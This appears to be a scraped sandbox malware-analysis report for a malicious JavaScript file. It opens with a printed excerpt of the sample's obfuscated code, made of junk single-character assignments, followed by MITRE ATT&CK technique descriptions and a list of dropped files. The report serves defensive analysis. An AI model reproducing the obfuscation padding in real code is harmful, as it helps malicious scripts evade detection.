1245	wlaafyup = "g";
1246	wlaafyup = "B";
1247	wlaafyup = "y";
1248	wlaafyup = "Z";
1249	wlaafyup = "O";
1250	wlaafyup = "d";
1251	wlaafyup = "A";
1252	wlaafyup = "s";
1253	wlaafyup = "n";
1254	wlaafyup = "O";
1255	wlaafyup = "W";
1256	wlaafyup = "o";
1257	wlaafyup = "R";
1258	wlaafyup = "Z";
1259	wlaafyup = "I";
1260	wlaafyup = "l";
1261	wlaafyup = "6";
1262	fwirbwg = "F";
1263	fwirbwg = "7";
1264	zlwbct = "V";
1265	zlwbct = "d";
1266	zlwbct = "T";
1267	zlwbct = "T";
1268	zlwbct = "B";
1269	zlwbct = "p";
1270	zlwbct = "p";
1271	zlwbct = "@";
1272	nyqnmtgzx = "A";
1273	nyqnmtgzx = "h";
1274	nyqnmtgzx = "H";
1275	nyqnmtgzx = "f";
1276	nyqnmtgzx = "t";
1277	nyqnmtgzx = "L";
1278	nyqnmtgzx = "A";
1279	nyqnmtgzx = "E";
1280	nyqnmtgzx = "h";
1281	nyqnmtgzx = "W";
1282	nyqnmtgzx = "B";
1283	nyqnmtgzx = "V";
1284	nyqnmtgzx = "I";
1285	nyqnmtgzx = "m";
1286	nyqnmtgzx = "K";
1287	hrdwix = "Y";
1288	hrdwix = "X";
1289	hrdwix = "t";
1290	hrdwix = "l";
1291	hrdwix = "v";
1292	hrdwix = "A";
1293	hrdwix = "s";
1294	hrdwix = "u";
1295	hrdwix = "q";
1296	hrdwix = "J";
1297	hrdwix = "y";
1298	hrdwix = "u";
1299	hrdwix = "C";
1300	hrdwix = "r";
1301	hrdwix = "J";
1302	hrdwix = "s";
1303	hrdwix = "8";
1304	rnqpcnkt = "U";
1305	rnqpcnkt = "D";
1306	rnqpcnkt = "D";
1307	rnqpcnkt = "n";
1308	rnqpcnkt = "u";
1309	rnqpcnkt = "e";
1310	rnqpcnkt = "F";
1311	rnqpcnkt = "M";
1312	rnqpcnkt = "k";
1313	rnqpcnkt = "m";
1314	rnqpcnkt = "w";
1315	rnqpcnkt = "R";
1316	rnqpcnkt = "I";
1317	rnqpcnkt = "e";
1318	rnqpcnkt = "j";
1319	rnqpcnkt = "r";
1320	rnqpcnkt = "H";
1321	rnqpcnkt = "N";
1322	rnqpcnkt = "C";
1323	rnqpcnkt = "V";
1324	rnqpcnkt = "c";
1325	rnqpcnkt = "Z";
1326	rnqpcnkt = "K";
1327	rnqpcnkt = "y";
1328	rnqpcnkt = "o";
1329	rnqpcnkt = "r";
1330	rnqpcnkt = "f";
1331	rnqpcnkt = "O";
1332	rnqpcnkt = "C";
1333	rnqpcnkt = "l";
1334	rnqpcnkt = "o";
1335	rnqpcnkt = "w";
1336	rnqpcnkt = "D";
1337	rnqpcnkt = "s";
1338	rnqpcnkt = "R";
1339	rnqpcnkt = "A";
1340	rnqpcnkt = "c";
1341	rhsdrikd = "t";
1342	rhsdrikd = "r";
1343	rhsdrikd = "I";
1344	rhsdrikd = "M";
1345	rhsdrikd = "C";
1346	rhsdrikd = "Z";
1347	rhsdrikd = "l";
1348	rhsdrikd = "F";
1349	rhsdrikd = "a";
1350	rhsdrikd = "C";
1351	rhsdrikd = "j";
1352	rhsdrikd = "G";
1353	rhsdrikd = "B";
1354	rhsdrikd = "p";
1355	dyyquh = "A";
1356	dyyquh = "x";
1357	dyyquh = "c";
1358	dyyquh = "i";
1359	dyyquh = "L";
1360	dyyquh = "S";
1361	dyyquh = "I";
1362	dyyquh = "n";
1363	dyyquh = "j";
1364	dyyquh = "R";
1365	dyyquh = "B";
1366	dyyquh = "c";
1367	dyyquh = "o";
1368	dyyquh = "P";
1369	dyyquh = "A";
1370	dyyquh = "c";
1371	dyyquh = "d";
1372	dyyquh = "h";
1373	dyyquh = "u";
1374	dyyquh = "m";
1375	dyyquh = "K";
1376	dyyquh = "w";
1377	dyyquh = "v";
1378	dyyquh = "G";
1379	dyyquh = "c";
1380	dyyquh = "M";
1381	dyyquh = "f";
1382	dyyquh = "p";
1383	dyyquh = "o";
1384	dyyquh = "t";
1385	dyyquh = "p";
1386	dyyquh = "S";
1387	dyyquh = "W";
1388	dyyquh = "u";
1389	dyyquh = "d";
1390	dyyquh = "t";
1391	zvbtyp = "a";
1392	zvbtyp = "K";
1393	zvbtyp = "Y";
1394	zvbtyp = "h";
1395	zvbtyp = "J";
1396	zvbtyp = "P";
1397	zvbtyp = "i";
1398	zvbtyp = "O";
1399	zvbtyp = "Q";
1400	zvbtyp = "d";
1401	zvbtyp = "F";
1402	zvbtyp = "L";
1403	zvbtyp = "Z";
1404	zvbtyp = "K";
1405	zvbtyp = "L";
1406	zvbtyp = "G";
1407	zvbtyp = "V";
1408	zvbtyp = "u";
1409	zvbtyp = "J";
1410	zvbtyp = "d";
1411	zvbtyp = "z";
1412	zvbtyp = "P";
1413	okeal = "E";
1414	okeal = "b";
1415	okeal = "s";
1416	okeal = "m";
1417	okeal = "n";
1418	okeal = "i";
1419	okeal = "H";
1420	okeal = "a";
1421	okeal = "D";
1422	okeal = "N";
1423	okeal = "a";
1424	okeal = "C";
1425	okeal = "X";
1426	okeal = "H";
1427	okeal = "d";
1428	okeal = "N";
1429	okeal = "n";
1430	okeal = "z";
1431	okeal = "y";
1432	okeal = "m";
1433	okeal = "g";
1434	okeal = "I";
1435	okeal = "r";
1436	okeal = "h";
1437	okeal = "z";
1438	okeal = "v";
1439	okeal = "P";
1440	okeal = "K";
1441	okeal = "C";
1442	okeal = "n";
1443	okeal = "r";
1444	dqidyi ( );	dqidyi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 20314304422672320911.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1e2afb1b-b231-467f-94c7-a721bf853ac3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\82b82e16-0dff-48e5-90a1-127ffa066728.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6df114.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
20314304422672320911.js